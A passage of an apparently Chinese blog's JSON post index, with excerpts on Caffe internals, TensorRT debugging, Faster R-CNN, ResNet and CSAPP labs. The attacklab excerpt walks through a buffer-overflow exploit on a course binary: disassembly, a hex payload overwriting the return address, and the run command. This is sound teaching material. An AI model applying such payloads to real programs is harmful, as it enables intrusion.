uint32 pad = 3; // The padding size; defaults t","date":"2020-04-08","externalUrl":null,"permalink":"/2020/04/caffe-source-code-analysis-part5/","section":"Posts","summary":"caffe中卷积运算的实现 # 暴力实现的卷积大概是这样子的","tags":["caffe"],"title":"caffe 源码学习笔记(5) 卷积","type":"post"},{"categories":["deep-learning"],"content":"背景是要把某个caffe model,转换成tensorrt的INT8 模型。 然后遇到如下报错: 1 2E0403 08:54:35.951987 5704 engine.h:62] engine.cpp (572) - Cuda Error in commonEmitTensor: 1 (invalid argument) 3E0403 08:54:35.952157 5704 engine.h:62] Failure while trying to emit debug blob. 4engine.cpp (572) - Cuda Error in commonEmitTensor: 1 (invalid argument) 5E0403 08:54:35.952235 5704 engine.h:62] cuda/caskConvolutionLayer.cpp (355) - Cuda Error in execute: 1 (invalid argument) 6E0403 08:54:35.952291 5704 engine.h:62] cuda/caskConvolutionLayer.cpp (355) - Cuda Error in execute: 1 (invalid argument) 7W0403 08:54:35.952324 5704 calibrator.cpp:45] [4, 3, 224, 224] 8F0403 08:54:35.992761 5704 tensor.h:149] Check failed: cudaMemcpy(raw_mutable_data(), b.raw_data(), size_in_bytes, cudaMemcpyDefault) == cudaSuccess (700 vs. 0) 9*** Check failure stack trace: *** 10Aborted (core dumped) cuda error 700. 原来cuda error的错误号可以这么大。。 查了下，说 in general, CUDA error 700 is drivers or timeout related. 看起来是个环境问题， 然后又试了下之前转的INT8的模型，依然没有报错。 我就很困惑了。。 想了下这两个模型的区别。 能转的模型是从pytorch开始转换的，中间会merge BN layer。而cuda error 700的模型是caffe 模型，保留了BN layer. 于是把第一个BN 以及之后的layer都删除。然而仍然是这个错误。 继续删除到只剩下一个input layer,一个conv layer. 还是报错。。 事情变得过于诡异了起来。看来不是模型的问题。。 然后检查了一下做校准用的预处理参数。。发现输入尺寸和模型的输入尺寸竟然是不一致的。。。 跪了。。 之前的模型由于是pytorch模型，input size和预处理size 是完全通过我控制的，因此不会有问题。 但是对于要转换的caffe 模型， 模型的参数和预处理部分是用户提供给我的，而我们的代码中没有做检查(似乎也不好做检查，因为校准的逻辑是在更顶层的) 但是这个cuda error 700的报错。。。也太不友好了吧。。。 因为之前查了cuda error 700，发现似乎没人提到这种情况，所以还是写出来分享一下。","date":"2020-04-08","externalUrl":null,"permalink":"/2020/04/cuda-error-700-when-using-tensorrt-calibration/","section":"Posts","summary":"背景是要把某个caffe model,转换成tensorrt的INT8 模型。 然后遇到如下报错:","tags":["tensorrt"],"title":"tensorrt INT8 量化debug记录（cuda error 700）","type":"post"},{"categories":["deep-learning"],"content":"在看过caffe代码的三个核心部分,blob,layer,net之后，陷入了不知道以什么顺序继续看的困境。 blob,layer,net只是三个最基本的概念，关键还是在于各个layer. 但是layer这么多，要怎么看呢？ 想了一下决定把相同作用的layer放在一起分析。 今天打算先分析一下激活函数。 sigmoid # 表达式为 f(t) = 1/(1+e^-t) caffe GPU实现，非常直接 1 2template \u003ctypename Dtype\u003e 3__global__ void SigmoidForward(const int n, const Dtype* in, Dtype* out) { 4 CUDA_KERNEL_LOOP(index, n) { 5 out[index] = 1. / (1. + exp(-in[index])); 6 } 7} sigmoid激活函数的一大优点是求导非常容易，因此backward函数其实也很简单。 1 2template \u003ctypename Dtype\u003e 3__global__ void SigmoidBackward(const int n, const Dtype* in_diff, 4 const Dtype* out_data, Dtype* out_diff) { 5 CUDA_KERNEL_LOOP(index, n) { 6 const Dtype sigmoid_x = out_data[index]; 7 out_diff[index] = in_diff[index] * sigmoid_x * (1 - sigmoid_x); 8 } 9} 然后proto里面也没什么内容。因为sigmoid函数没什么参数 1 2message SigmoidParameter { 3 enum Engine { 4 DEFAULT = 0; 5 CAFFE = 1; 6 CUDNN = 2; 7 } 8 optional Engine engine = 1 [default = DEFAULT]; 9} 还值得注意的是sigmoid有文件里的注释: /** @brief Sigmoid function non-linearity @f$ y = (1 + \\exp(-x))^{-1} @f$, a classic choice in neural networks. Note that the gradient vanishes as the values move away from 0. The ReLULayer is often a better choice for this reason. sigmoid函数大概是早期的一个比较常用的选择。但是其有几个缺点: 梯度弥散（除了中间的位置，其他位置的梯度都接近0) sigmoid函数的输出不是0均值的,导致权重的梯度全部为正或者为负，只能往一个方向更新，学习的效率比较低。 算exp比较慢 因此现在已经几乎不会用sigmoid来做激活函数了。 但是sigmoid函数其实还有其他用途，比如对于一个多标签的分类任务，常常在fc后面接sigmoid作为神经网络的输出，来判断是否包含这些标签中的一个或者几个。 （多标签和多分类任务的区别在于，多分类任务通常只有一个标签，一个物体属于这个类别就不会属于另外的类别。） tanh # 和sigmoid比较相似，比起sigmoid的优点是值域在[-1,1]，均值是为0的，梯度更新的效率比sigmoid好一些。 没什么可说的，直接放代码吧 工业界用得也不太多 1 2template \u003ctypename Dtype\u003e 3void TanHLayer\u003cDtype\u003e::Forward_cpu(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 4 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 5 const Dtype* bottom_data = bottom[0]-\u003ecpu_data(); 6 Dtype* top_data = top[0]-\u003emutable_cpu_data(); 7 const int count = bottom[0]-","date":"2020-04-07","externalUrl":null,"permalink":"/2020/04/caffe-source-code-analysis-part4/","section":"Posts","summary":"在看过caffe代码的三个核心部分,blob,layer,net之后，陷入了不知道以什么顺序继续看的困境。","tags":["caffe"],"title":"caffe 源码学习笔记(4) 激活函数","type":"post"},{"categories":["deep-learning"],"content":"背景 # 2019年对了好几次faster rcnn，第一次是赛事之窗项目和北京的同事，对齐sdk和训练的实现。 第二次是被tensorRT4和tensorRT5之间默认参数不一致的问题坑了一下。 第三次是被caffe proto中roi align 的默认参数坑了。 虽然debug了这么多次，踩了一堆坑，但是一段时间不用，细节就会慢慢不记得了。因此来记录一下。 faster rcnn，是一种\"two stage\"的目标检测算法。 所谓\"two stage\"，是说在实际进行目标检测之前，先会通过某种\"region proposals\" algorithm，来获得一定数量的RoI(Regions of Interest),我们下一阶段要检测的obejct有极大可能被包含在这些RoI. 这种\"Region based\"的方法是对基于\"sliding windows\"方法的极大改进，因为不需要遍历每一个可能的位置以及crop大小，只需要对这些RoI进行检测，有效地减小了计算量。 下面简单说一下这一类\"Region based\"方法的历史脉络 rcnn # RCNN的做法是通过一种传统方法\"selective search\"来得到若干RoI,然后把每一个RoI，后面接CNN进行后续的检测。 显然，这个方法的问题在于计算量非常大。 selective search的策略是，既然是不知道尺度是怎样的，那我们就尽可能遍历所有的尺度，但是不同于暴力穷举，我们可以先得到小尺度的区域，然后一次次合并得到大的尺寸. fast rcnn # 明眼人可以看出，rcnn计算量过大的原因之一是做了非常多的重复计算。 因此fast rcnn做的改进是，与其把每一个通过\"selective search\"得到的RoI在原图上crop出来送进CNN,不如先让整张图过一段CNN,然后把通过\"selective search\"在原图上得到的RoI先映射到这段CNN的某个conv feature map. 相当于这部分CNN只做了一次，与RoI数量无关，极大地减小了计算量。 faster rcnn # 终于轮到主角登场了。 fast rcnn极大提高了检测的速度。 然后发现，速度的瓶颈已经不在后续的检测部分了，而是在于“region proposals” algorithm. 于是，faster-rcnn提出\"Region proposal network\"来替代\"selective search\",进一步提高了检测速度。 放一张结构图，非常清楚。 Region proposal network(RPN) # anchor # 介绍RPN网络首先就要介绍一下anchor. （被坑过一次，某个足球项目上，training和inference用的anchor竟然是不一致的。。） 其实anchor这个概念很简单，用大白话说就是，根据要检测的物体的形状（高矮胖瘦等），预先 设置一些不同尺寸（高矮胖瘦）的粗略的框，然后对这些框做一个二分类，判断前景还是背景，同时做bbox regression 来微调坐标，最终得到proposals. 设置anchor的思路其实就是修改了proposals的默认位置为生成的anchors的位置。对这些anchors进行微调总要比从零开始生成容易得多。 要注意的是，anchors是在进入网络前预先生成的。 实际项目中，通常设置长宽比为[1:1,2:1,1:2]三种比例，然后通过 generate_anchors.py 来生成anchors. 值得强调的是，anchor的生成是与图像内容无关的．无论图像内容是什么，生成的anchor都是固定的，而RPN网络的目标就是去学习哪些anchor是好的anchor，以及学习到一组\"regression coefficients\"来用在好的anchor上，从而变成更好的anchor. RPN 网络结构 # 最下面的conv feature map是经过一段CNN得到的，这部分和fast rcnn是类似的。 这一段CNN是RPN和后面的detector共用的。 然后用一个n*n的滑动窗口(原paper中用的3*3，其实就是做了个3*3的卷积)，得到256维的feature(是因为这个conv feature map的深","date":"2020-04-05","externalUrl":null,"permalink":"/2020/04/faster-rcnn/","section":"Posts","summary":"背景 # 2019年对了好几次faster rcnn，第一次是赛事之窗项目和北京的同事，对齐sdk和训练的实现。 第二次是被tensorRT4和tensorRT5之间默认参数不一致的问题坑了一下。 第三次是被caffe proto中roi align 的默认参数坑了。","tags":["faster-rcnn","计算机视觉"],"title":"Faster Rcnn 目标检测算法","type":"post"},{"categories":["deep-learning"],"content":"背景 # 基于Conv的方法在某年的ImageNet比赛上又重新被人想起之后，大家发现网络堆叠得越深，似乎在cv的各个任务上表现的越好。 然而事情当然没有无脑退跌深度那么简单，人们发现，当网络深到一定程度时，结果还不如浅一些的网络结构。 可能第一反应是，网路那么深，多了那么多参数，有那么多数据吗？ overfit了吧 然而情况没有那么简单。如果只是单纯得overfit，那么应该只有test error很高才对。然而现在的情况是training error也很高。 那这是怎么回事呢？ Resnet的团队认为，是因为深层的网络在训练的时候很难收敛。 这个想法是有依据的，因为我们可以通过构造一个较深的网络结构，使得后面的layer学成一个\"identity mapping\"的函数。这样training error和test error应该至少和一个浅层网络的结果一样好才对。 那么问题很可能就出在，深层的网络没办法学到这样的函数。 基于这样的想法，resnet团队提出了一种新的结构，称之为\"skip connection\",来验证该假设。 resnet网络结构 # 我们可以看到，该结构把原来网络要学的H(x)，变成了F(X)+X的形势。 因此网络只需要学习F(X),也就是在 “identity mapping\"上学习一个偏移。 实验表明，这种结构对于深层的网络是非常有效的，因为这种结构将默认设置变为了\"identity mapping”,整个网络变得更加容易收敛。 resnet也成了目前工业界各种网络结构的标准backbone resnet 结构的caffe prototxt # 放了resnet50的部分结构，截止到第一个resnet block 1 2name: \"ResNet-50\" 3input: \"data\" 4input_dim: 1 5input_dim: 3 6input_dim: 224 7input_dim: 224 8 9layer { 10 bottom: \"data\" 11 top: \"conv1\" 12 name: \"conv1\" 13 type: \"Convolution\" 14 convolution_param { 15 num_output: 64 16 kernel_size: 7 17 pad: 3 18 stride: 2 19 } 20} 21 22layer { 23 bottom: \"conv1\" 24 top: \"conv1\" 25 name: \"bn_conv1\" 26 type: \"BatchNorm\" 27 batch_norm_param { 28 use_global_stats: true 29 } 30} 31 32layer { 33 bottom: \"conv1\" 34 top: \"conv1\" 35 name: \"scale_conv1\" 36 type: \"Scale\" 37 scale_param { 38 bias_term: true 39 } 40} 41 42layer { 43 bottom: \"conv1\" 44 top: \"conv1\" 45 name: \"conv1_relu\" 46 type: \"ReLU\" 47} 48 49layer { 50 bottom: \"conv1\" 51 top: \"pool1\" 52 name: \"pool1\" 53 type: \"Pooling\" 54 pooling_param { 55 kernel_size: 3 56 stride: 2 57 pool: MAX 58 } 59} 60 61layer { 62 bottom: \"pool1\" 63 top: \"res2a_branch1\" 64 name: \"res2a_branch1\" 65 type: \"Convolution\" 66 convolution_param { 67 num_output: 256 68 kernel_size: 1 69 pad: 0 70 stride: 1 71 bias_term: false 72 } 73} 74 75layer { 76 bottom: \"res2a_branch1\" 77 top: \"res2a","date":"2020-04-05","externalUrl":null,"permalink":"/2020/04/resnet-learning-notes/","section":"Posts","summary":"背景 # 基于Conv的方法在某年的ImageNet比赛上又重新被人想起之后，大家发现网络堆叠得越深，似乎在cv的各个任务上表现的越好。","tags":["resnet","计算机视觉"],"title":"resnet 学习笔记","type":"post"},{"categories":["优化","工程"],"content":"名词说明 # CUDA. 一般来说指的是CUDA SDK. 目前经常使用的是CUDA 8.0和CUDA 10.1两个版本. 8.0和10.1都是SDK的版本号. CUDNN. The NVIDIA CUDA® Deep Neural Network library (cuDNN). 是一个可以为神经网络提供GPU加速的库 compute capability. 是GPU的固有参数,可以理解为GPU的版本.越新的显卡该数值往往越高. tensorRT.NVIDIA TensorRT™ is an SDK for high-performance deep learning inference. 是一个深度学习推理库,旨在提供高性能的推理速度. plan file,也称为 engine plan. 是生成的tensorRT 模型文件. 兼容性说明 # Engine plan 的兼容性依赖于GPU的compute capability 和 TensorRT 版本, 不依赖于CUDA和CUDNN版本. 简单来说,在使用同样TensorRT版本的前提下,在具有相同compute capability 的GPU上的模型是可以通用的. 但是cuda版本是依赖于GPU的compute capability的. 也就是比较新的GPU(对应较高的compute capability)无法使用低版本的cuda. CUDA SDK 8.0 support for compute capability 2.0 – 6.x CUDA SDK 9.0 – 9.2 support for compute capability 3.0 – 7.2 CUDA SDK 10.0 – 10.2 support for compute capability 3.0 – 7.5 TroubleShooting # 如果是compute capability 导致的兼容性问题,会报错: [2018-12-17 06: 41: 24 ERROR] The engine plan file is generated on an incompatible device, expecting compute 7.5 got compute 6.1, please rebuild. 如果是TensorRT 版本导致的兼容性问题,会报错: [2018-12-17 06: 48: 13 ERROR] The engine plan file is incompatible with this version of TensorRT, expecting 5.0.4.3got 5.0.2.6, please rebuild. 参考链接 # https://devtalk.nvidia.com/default/topic/1045375/tensorrt/problem-loading-trt-engine-plan-on-another-machine-/ https://en.wikipedia.org/wiki/CUDA","date":"2020-03-24","externalUrl":null,"permalink":"/2020/03/tensorrt-model-compatibility-notes/","section":"Posts","summary":"名词说明 # CUDA. 一般来说指的是CUDA SDK. 目前经常使用的是CUDA 8.0和CUDA 10.1两个版本. 8.0和10.1都是SDK的版本号. CUDNN. The NVIDIA CUDA® Deep Neural Network library (cuDNN). 是一个可以为神经网络提供GPU加速的库 compute capability. 是GPU的固有参数,可以理解为GPU的版本.越新的显卡该数值往往越高. tensorRT.NVIDIA TensorRT™ is an SDK for high-performance deep learning inference. 是一个深度学习推理库,旨在提供高性能的推理速度. plan file,也称为 engine plan. 是生成的tensorRT 模型文件. 兼容性说明 # Engine plan 的兼容性依赖于GPU的compute capability 和 TensorRT 版本, 不依赖于CUDA和CUDNN版本.","tags":["cuda","tensorrt"],"title":"tensorRT 模型兼容性说明","type":"post"},{"categories":["mooc"],"content":"背景 # CSAPP:3e第四章配套的实验。 第四章是讲处理器架构的，章节的重点是实现一个六阶段流水线。 lab的内容也是，需要实现一个Y86-64的流水线，并进行性能调优。 准备工作 # 材料里面sim.tar解压之后，有可能是没办法编译通过的。 原因是tk（a windowing toolkit ）在8.5版本的时候废弃了某个接口，与8.6版本不兼容。 因此需要安装tk 8.5或者更低的版本。 在archlinux/manjaro下可以通过aur安装tk85. use tk\u003c=8.5,8.6 or above will not compile # Modify the corresponding header file in seq/ssim.c and pipe/psim.c (assmue tk8.5 header file is located in /usr/local/tk8.5) # 1 2#ifdef HAS_GUI 3#include \u003ctk8.5/tk.h\u003e // #include \u003ctk/tk.h\u003e 4#endif /* HAS_GUI */ modify Makefile in sim # 1 2 3 4# Comment this out if you don't have Tcl/Tk on your system 5 6GUIMODE=-DHAS_GUI 7 8# Modify the following line so that gcc can find the libtcl.so and 9# libtk.so libraries on your system. You may need to use the -L option 10# to tell gcc which directory to look in. Comment this out if you 11# don't have Tcl/Tk. 12 13TKLIBS=-L/usr/lib/tcl8.5/ -ltk -ltcl 14 15# Modify the following line so that gcc can find the tcl.h and tk.h 16# header files on your system. Comment this out if you don't have 17# Tcl/Tk. 18 19TKINC=-isystem /usr/include/tcl8.5/ comment matherr in seq/ssim.c and pipe/psim.c # 1 2/* Hack for SunOS */ 3// extern int matherr(); 4// int *tclDummyMathPtr = (int *) matherr; PART A # Iteratively sum linked list elements # 要求写一段y86-64的汇编代码，实现对一个链表元素求和，也就是如下c语言的相同功能代码。 1 2/* sum_list - Sum the elements of a linked list */ 3long sum_list(list_ptr ls) 4{ 5 long val = 0; 6 while (ls) { 7 val += ls-\u003eval; 8 ls = ls-\u003enext; 9 } 10 return val; 11} 我们可以先瞅瞅这段c代码被汇编成x86-64的汇编代码是什么样。记得编译选项要 gcc -S -Og，不然默认的优化选项可能不是很容易明白。 得到 1 2sum_list: 3.LFB0: 4 .cfi_startproc 5 movl $0, %eax 6.L2: 7 testq %rdi, %rdi 8 je .L4 9 addq (%rdi), %rax 10 movq 8(%rdi), %rdi 11 jmp .L2 12.L4: 13 ret 同时，我们可以参考CSAPP:3e Figure 4.7 Y86-64的代码示例 1# Execution begins at address 0 2.pos 0 3irmovq","date":"2020-02-26","externalUrl":null,"permalink":"/2020/02/csapp-archlab/","section":"Posts","summary":"背景 # CSAPP:3e第四章配套的实验。 第四章是讲处理器架构的，章节的重点是实现一个六阶段流水线。","tags":["CSAPP"],"title":"【施工完成】CSAPP archlab","type":"post"},{"categories":["随笔杂谈"],"content":"就..终于再次出现了to do list. 原因是之前一直不知道如何置顶文章…. 竟然一下子就2020年了… 学习模型量化 学习onnx CSAPP（随缘 ai system 课程","date":"2020-02-21","externalUrl":null,"permalink":"/2020/02/2020-to-do-list/","section":"Posts","summary":"就..终于再次出现了to do list. 原因是之前一直不知道如何置顶文章….","tags":["todo","随笔杂谈"],"title":"2020 to do List","type":"post"},{"categories":["mooc"],"content":"背景 # CSAPP 处理器那章快看完了，猛然发现竟然还有个attacklab.. 之前以为每一章只有一个lab 这个lab是教大家如何找到程序的漏洞并实施攻击。 知道如何实施攻击，才能更好地写出安全的代码。 包含5个phase 前三个没有什么保护措施,栈地址是固定的,可以注入可执行代码,比较容易. 后两个加了随机栈地址以及栈上地址不可执行的保护措施,需要用Return-oriented_programming 的方式搞定. phase 1 # 第一个比较简单，利用buffer overflow 来将函数的返回地址，替换成一个已知函数的地址，达到执行特定函数的目的。 回忆一下函数调用的机器代码实现，需要先把函数的返回地址压栈，然后开辟栈空间，做些有的没的，做完之后析构开辟的栈空间，并把之前压入栈中的地址赋值给%ip(或者叫PC)，作为下一条指定的地址。函数的返回地址通常就是函数后面第一条指令的地址。 可以参考如下两张图。 我们观察getbuf的反汇编代码: 1 2(gdb) disas getbuf 3Dump of assembler code for function getbuf: 4 0x00000000004017a8 \u003c+0\u003e: sub $0x28,%rsp 5 0x00000000004017ac \u003c+4\u003e: mov %rsp,%rdi 6 0x00000000004017af \u003c+7\u003e: callq 0x401a40 \u003cGets\u003e 7 0x00000000004017b4 \u003c+12\u003e: mov $0x1,%eax 8 0x00000000004017b9 \u003c+17\u003e: add $0x28,%rsp 9 0x00000000004017bd \u003c+21\u003e: retq 10End of assembler dump. 看到getbuf函数开辟了0x28大小的栈空间 也就是说输入至多0x28个字符，不会有问题。 那么为了达成我们的目的，我们可以前0x28个字符任意输入，后面输入我们希望执行的touch1函数的地址，也就是 0x00000000004017c0 1 2(gdb) disas touch1 3Dump of assembler code for function touch1: 4 0x00000000004017c0 \u003c+0\u003e: sub $0x8,%rsp 5 0x00000000004017c4 \u003c+4\u003e: movl $0x1,0x202d0e(%rip) # 0x6044dc \u003cvlevel\u003e 6 0x00000000004017ce \u003c+14\u003e: mov $0x4030c5,%edi 7 0x00000000004017d3 \u003c+19\u003e: callq 0x400cc0 \u003cputs@plt\u003e 8 0x00000000004017d8 \u003c+24\u003e: mov $0x1,%edi 9 0x00000000004017dd \u003c+29\u003e: callq 0x401c8d \u003cvalidate\u003e 10 0x00000000004017e2 \u003c+34\u003e: mov $0x0,%edi 11 0x00000000004017e7 \u003c+39\u003e: callq 0x400e40 \u003cexit@plt\u003e 12End of assembler dump. 这里要用到hex2raw 顾名思义，这个工具是用来将十六进制数值转换成对应的ascii字符。 为什么需要这个工具呢？ 因为我们看到的地址是十六进制，此时我们需要输入某个字符串，让其得到我们预期的十六进制地址。 现在是我们知道十六进制地址，因此可以通过hex2raw反推得到我们需要的字符串。 需要注意的是hex2raw是以EOF作为结束标识的，因此屏幕输入似乎没办法结束，可以使用文件重定向。 因此答案可以是 1 230 30 30 30 30 30 30 30 30 30 330 30 30 30 30 30 30 30 30 30 430 30 30 30 30 30 30 30 30 30 530 30 30 30 30 30 30 30 30 30 6c0 17 40 00 最后得到结果 1 2$ cat level1.txt | ./hex2raw | ./ctarget -q 3Co","date":"2020-02-15","externalUrl":null,"permalink":"/2020/02/csapp-attacklab/","section":"Posts","summary":"背景 # CSAPP 处理器那章快看完了，猛然发现竟然还有个attacklab.. 之前以为每一章只有一个lab","tags":["csapp"],"title":"【施工完成】CSAPP attacklab","type":"post"},{"categories":["mooc"],"content":"背景 # 疫情肆虐,在家百无聊赖,于是开始拆炸弹. 炸弹分为6个阶段,每个阶段必须输入一个特定的字符串,否则炸弹就会爆炸. 提供给我们的是一个.c文件和一个linux可执行文件bomb 1 2/*************************************************************************** 3 * Dr. Evil's Insidious Bomb, Version 1.1 4 * Copyright 2011, Dr. Evil Incorporated. All rights reserved. 5 * 6 * LICENSE: 7 * 8 * Dr. Evil Incorporated (the PERPETRATOR) hereby grants you (the 9 * VICTIM) explicit permission to use this bomb (the BOMB). This is a 10 * time limited license, which expires on the death of the VICTIM. 11 * The PERPETRATOR takes no responsibility for damage, frustration, 12 * insanity, bug-eyes, carpal-tunnel syndrome, loss of sleep, or other 13 * harm to the VICTIM. Unless the PERPETRATOR wants to take credit, 14 * that is. The VICTIM may not distribute this bomb source code to 15 * any enemies of the PERPETRATOR. No VICTIM may debug, 16 * reverse-engineer, run \"strings\" on, decompile, decrypt, or use any 17 * other technique to gain knowledge of and defuse the BOMB. BOMB 18 * proof clothing may not be worn when handling this program. The 19 * PERPETRATOR will not apologize for the PERPETRATOR's poor sense of 20 * humor. This license is null and void where the BOMB is prohibited 21 * by law. 22 ***************************************************************************/ 23 24#include \u003cstdio.h\u003e 25#include \u003cstdlib.h\u003e 26#include \"support.h\" 27#include \"phases.h\" 28 29/* 30 * Note to self: Remember to erase this file so my victims will have no 31 * idea what is going on, and so they will all blow up in a 32 * spectaculary fiendish explosion. -- Dr. Evil 33 */ 34 35FILE *infile; 36 37int main(int argc, char *argv[]) 38{ 39 char *input; 40 41 /* Note to self: remember to port this bomb to Windows and put a 42 * fantastic GUI on it. */ 43 44 /* When run with no arguments, the","date":"2020-02-01","externalUrl":null,"permalink":"/2020/02/csapp-bomblab/","section":"Posts","summary":"背景 # 疫情肆虐,在家百无聊赖,于是开始拆炸弹. 炸弹分为6个阶段,每个阶段必须输入一个特定的字符串,否则炸弹就会爆炸. 提供给我们的是一个.c文件和一个linux可执行文件bomb","tags":["csapp"],"title":"【施工完成】CSAPP bomb lab","type":"post"},{"categories":["deep-learning"],"content":"Net 基本介绍 # 网络通过组成和自微分共同定义一个函数及其梯度。 网络是一些Layer组成的DAG,也就是有向无环图，在caffe中通常由prototxt定义． 比如 1name: \"LogReg\" 2layer { 3 name: \"mnist\" 4 type: \"Data\" 5 top: \"data\" 6 top: \"label\" 7 data_param { 8 source: \"input_leveldb\" 9 batch_size: 64 10 } 11} 12layer { 13 name: \"ip\" 14 type: \"InnerProduct\" 15 bottom: \"data\" 16 top: \"ip\" 17 inner_product_param { 18 num_output: 2 19 } 20} 21layer { 22 name: \"loss\" 23 type: \"SoftmaxWithLoss\" 24 bottom: \"ip\" 25 bottom: \"label\" 26 top: \"loss\" 27} 定义了 值得强调的是，caffe中网络结构的定义与实现是无关的,这点比pytorch之类的深度学习框架不知高到哪里去了，也是caffe作为部署端的事实标准的重要原因． Net 实现细节 # 我们先看下NetParameter的proto 1 2 message NetParameter { 3 optional string name = 1; // consider giving the network a name 4 // DEPRECATED. See InputParameter. The input blobs to the network. 5 repeated string input = 3; 6 // DEPRECATED. See InputParameter. The shape of the input blobs. 7 repeated BlobShape input_shape = 8; 8 9 // 4D input dimensions -- deprecated. Use \"input_shape\" instead. 10 // If specified, for each input blob there should be four 11 // values specifying the num, channels, height and width of the input blob. 12 // Thus, there should be a total of (4 * #input) numbers. 13 repeated int32 input_dim = 4; 14 15 // Whether the network will force every layer to carry out backward operation. 16 // If set False, then whether to carry out backward is determined 17 // automatically according to the net structure and learning rates. 18 optional bool force_backward = 5 [default = false]; 19 // The current \"state\" of the network, including the phase, level, and stage. 20 // Some layers may be included/excluded depending on this state and the states 21 // specified in the layers' include and exclude fields. 22 optional NetState state = 6; 23 24 // Print debugging information about results while running Net::For","date":"2020-01-12","externalUrl":null,"permalink":"/2020/01/caffe-source-code-analysis-part3/","section":"Posts","summary":"Net 基本介绍 # 网络通过组成和自微分共同定义一个函数及其梯度。","tags":["caffe"],"title":"caffe 源码学习笔记(3) Net","type":"post"},{"categories":["deep-learning"],"content":"layer 整体介绍 # layer是模型计算的基本单元 类似于pytorch或者其他深度学习框架的op layer中的数据流向为,输入若干个blob，称之为\"bottom blob\",然后经过layer的计算，输出若干个blob,称之为\"top blob\" 也就是数据是从“bottom”流向“top” layer通常会进行两种计算，forward和backward forward是指，根据bottom blob计算得到top blob backward是指，根据top blob的结果和参数值计算得到的gradient,回传给前面的layer. layer 实现细节 # layer作为一个base class,实现了所有layer都需要的common的部分。 比如: 1 /** 2 * @brief Implements common layer setup functionality. 3 * 4 * @param bottom the preshaped input blobs 5 * @param top 6 * the allocated but unshaped output blobs, to be shaped by Reshape 7 * 8 * Checks that the number of bottom and top blobs is correct. 9 * Calls LayerSetUp to do special layer setup for individual layer types, 10 * followed by Reshape to set up sizes of top blobs and internal buffers. 11 * Sets up the loss weight multiplier blobs for any non-zero loss weights. 12 * This method may not be overridden. 13 */ 14 void SetUp(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 15 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 16 CheckBlobCounts(bottom, top); 17 LayerSetUp(bottom, top); 18 Reshape(bottom, top); 19 SetLossWeights(top); 20 } SetUp可以理解成layer的初始化函数。 这部分代码比较容易看懂，可以说的不多。 值得注意的是，下面这段代码: 1 /** @brief Using the CPU device, compute the layer output. */ 2 virtual void Forward_cpu(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 3 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) = 0; 4 /** 5 * @brief Using the GPU device, compute the layer output. 6 * Fall back to Forward_cpu() if unavailable. 7 */ 8 virtual void Forward_gpu(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 9 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 10 // LOG(WARNING) \u003c\u003c \"Using CPU code as backup.\"; 11 return Forward_cpu(bottom, top); 12 } 只有cpu上的forward(backward同理)被定义成纯虚函数，而base class上gpu上的forward被定义调用基类的forward_cpu 这样做使得每个layer必须定义自己的Forward_cpu函数，同时使得某个layer没有自己的Forward_gpu函数时，会fall back到相应的cpu版本。 layer对blob的限制 # 2020.05.03","date":"2020-01-11","externalUrl":null,"permalink":"/2020/01/caffe-source-code-analysis-part2/","section":"Posts","summary":"layer 整体介绍 # layer是模型计算的基本单元 类似于pytorch或者其他深度学习框架的op layer中的数据流向为,输入若干个blob，称之为\"bottom blob\",然后经过layer的计算，输出若干个blob,称之为\"top blob\"","tags":["caffe"],"title":"caffe 源码学习笔记(2) Layer","type":"post"},{"categories":["deep-learning"],"content":"迫于生计，开始看caffe代码。 会侧重于分析inference部分。 blob 整体介绍 # blob的含义及目的 # blob在逻辑上表示的就是所谓的tensor,blob是tensor在caffe中的叫法。 在框架层面上，blob的意义在于对数据进行封装，提供统一的接口。 这里的数据包含训练/inference时用的数据，也包含模型参数，导数等数据。 深度学习离不开在GPU上的计算。 blob对数据的封装使得用户不必关心和cuda有关的数据传输细节。 blob的表示 # 对于图像数据，blob通常为４-dim，也就是N*C*H*W 其中N表示number,也就是batch_num C表示channel H表示height W表示width 在内存中，blob是按照\"C-contiguous fashion\"存储的，也就是\"row-major \" 因此，位于(n,c,h,w)的下标在OS中的位置是　((n * C + c) * H + h) * W + w. 在代码blob.hpp中，我们也可以看到名为offset的函数是其对应的实现。 1 inline int offset(const int n, const int c = 0, const int h = 0, 2 const int w = 0) const { 3 CHECK_GE(n, 0); 4 CHECK_LE(n, num()); 5 CHECK_GE(channels(), 0); 6 CHECK_LE(c, channels()); 7 CHECK_GE(height(), 0); 8 CHECK_LE(h, height()); 9 CHECK_GE(width(), 0); 10 CHECK_LE(w, width()); 11 return ((n * channels() + c) * height() + h) * width() + w; 12 } 13 // 给一个indices,计算这是第几个值。 14 inline int offset(const vector\u003cint\u003e\u0026 indices) const { 15 CHECK_LE(indices.size(), num_axes()); 16 int offset = 0; 17 for (int i = 0; i \u003c num_axes(); ++i) { 18 offset *= shape(i); 19 if (indices.size() \u003e i) { 20 CHECK_GE(indices[i], 0); 21 CHECK_LT(indices[i], shape(i)); 22 offset += indices[i]; 23 } 24 } 25 return offset; 26 } 需要说明的是，存在一个overload的offset的原因是，对于常见的图像任务，blob是四维的，但是blob也可以是其他数目的维度。 后面我们可以看到，很多函数都有一个overload的版本，一个版本是适用于经典的图像任务，另外一个版本是适用于更一般的任务。 blob 实现细节 # 我们注意到，对于data,diff等数据，blob除了区分了在CPU还是GPU上，还区分了数据是否可以改变: 1const Dtype* cpu_data() const; 2Dtype* mutable_cpu_data(); 这样设计的原因是，blob中包含了GPU和CPU上的数据，为了尽可能减少不必要的数据传输，我们可以在确定不会修改数据的情况下使用const版本 同时，区分可变数据和不可变数据也有助于减少bug. 需要注意的是,blob class是禁止copy和assign的。 在C++11及以后，这可以通过将相应的copy control member 设置为\"=delete\"来实现 而在c++11之前，是通过将这些函数这只为private实现的。 1#define DISABLE_COPY_AND_ASSIGN(classname) \\ 2private:\\ 3 classname(const classname\u0026);\\ 4 classname\u0026 operator=(const classname\u0026)","date":"2020-01-10","externalUrl":null,"permalink":"/2020/01/caffe-source-code-analysis-part1/","section":"Posts","summary":"迫于生计，开始看caffe代码。 会侧重于分析inference部分。","tags":["caffe"],"title":"caffe 源码学习笔记(1) 